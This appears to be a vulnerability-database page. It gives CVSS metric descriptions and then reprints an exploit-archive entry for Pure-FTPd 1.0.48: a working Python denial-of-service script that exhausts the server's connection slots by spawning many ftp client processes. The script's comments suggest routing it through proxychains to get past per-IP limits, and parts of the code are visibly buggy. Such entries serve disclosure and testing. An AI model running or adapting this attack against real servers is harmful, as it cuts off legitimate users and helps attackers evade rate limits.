The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Pure-FTPd 1.0.48 Remote Denial of Service
# Exploit Title: Pure-FTPd 1.0.48 - Remote Denial of Service
# Date: 2020. nov. 26., 09:32:17 CET
# Exploit Author: xynmaps
# Vendor Homepage: https://www.pureftpd.org/project/pure-ftpd/
# Software Link: https://github.com/jedisct1/pure-ftpd/
# Version: 1.0.48
# Tested on: Parrot Security OS 5.9.0
#encoding=utf8
#__author__ = XYN/Dump/NSKB3
#Pure-FTPd Denial of Service exploit by XYN/Dump/NSKB3.
"""
Pure-FTPd only lets a certain amount of connections to be made to the server, so, by repeatedly making new connections to the server,
you can block other legitimite users from making a connection to the server, if the the connections/ip isn't limited.
(if it's limited, just run this script from different proxies using proxychains, and it will work)
"""
import socket
import sys
import threading
import subprocess
import time
banner = """
._________________.
| Pure-FTPd |
| D o S |
|_________________|
|By XYN/DUMP/NSKB3|
|_|_____________|_|
|_|_|_|_____|_|_|_|
|_|_|_|_|_|_|_|_|_|
"""
usage = "{} <TARGET> <PORT(DEFAULT:21> <MAX_CONNS(DEFAULT:50)>".format(sys.argv[0])
def test(t,p):
s = socket.socket()
s.settimeout(10)
try:
s.connect((t, p))
response = s.recv(65535)
s.close()
return 0
except socket.error:
print("Port {} is not open, please specify a port that is open.".format(p))
sys.exit()
def attack(targ, po, id):
try:
subprocess.Popen("ftp {0} {1}".format(targ, po), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
#print("Worker {} running".format(id))
except OSError: pass
def main():
global target, port, start
print banner
try:
target = sys.argv[1]
except:
print usage
sys.exit()
try:
port = int(sys.argv[2])
except:
port = 21
try:
conns = int(sys.argv[3])
except:
conns = 50
print("[!] Testing if {0}:{1} is open".format(target, port))
test(target, port)
print("[+] Port {} open, starting attack...".format(port))
time.sleep(2)
print("[+] Attack started on {0}:{1}!".format(target, port))
def loop(target, port, conns):
global start
threading.Thread(target=timer).start()
while 1:
for i in range(1, conns + 3):
t = threading.Thread(target=attack, args=(target,port,i,))
t.start()
if i > conns + 2:
t.join()
break
loop()
t = threading.Thread(target=loop, args=(target, port, conns,))
t.start()
def timer():
start = time.time()
while 1:
if start < time.time() + float(900): pass
else:
subprocess.Popen("pkill ftp", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
t = threading.Thread(target=loop, args=(target, port,))
t.start()
break
main()
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum